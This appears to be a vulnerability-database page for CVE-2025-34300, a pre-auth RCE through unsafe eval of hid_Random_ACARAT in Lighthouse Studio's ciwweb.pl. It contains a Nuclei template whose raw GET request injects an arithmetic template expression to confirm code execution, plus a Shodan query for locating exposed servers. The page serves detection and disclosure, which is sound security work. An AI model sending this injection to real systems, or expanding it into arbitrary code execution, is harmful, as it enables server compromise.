CVE-2025-34300: SawtoothSoftware Lighthouse Studio < 9.16.14 - Pre-Auth Remote Code Execution

2025-08-01 SawtoothSoftware Lighthouse Studio PoC Public

Description

A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.

PoC

id: CVE-2025-34300

info:
  name: SawtoothSoftware Lighthouse Studio < 9.16.14 - Pre-Auth Remote Code Execution
  author: assetnote,DhiyaneshDK,iamnoooob
  severity: critical
  description: |
    A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.
  impact: |
    Unauthenticated attackers can execute arbitrary Perl code through the hid_Random_ACARAT parameter due to unsafe eval usage, achieving complete server compromise.
  remediation: |
    Upgrade to Sawtooth Software Lighthouse Studio version 9.16.14 or later that removes unsafe eval usage in ciwweb.pl.
  reference:
    - https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/
    - https://sawtoothsoftware.com/resources/software-downloads/lighthouse-studio
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34300
  classification:
    epss-score: 0.79171
    epss-percentile: 0.99577
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-34300
    cwe-id: CWE-1336,CWE-20
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Lighthouse Studio"
  tags: cve,cve2025,lighthouse-studio,sawtoothsoftware,rce,ssti,vkev,vuln

variables:
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        GET /cgi-bin/ciwweb.pl?hid_javascript=1&hid_Random_ACARAT=[%25{{num1}}*{{num2}}%25]&hid_Random_ACARAT=x HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'name="hid_Random_ACARAT" value="{{result}}"'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203c2da30bacb816a433b469d6017e52992b07fb5c07e6240bd52d7e392d4e61600221008bc4a7bef7192c98933d4ffd733a904a039b5fe8cf794eee96b804c953a7e55b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities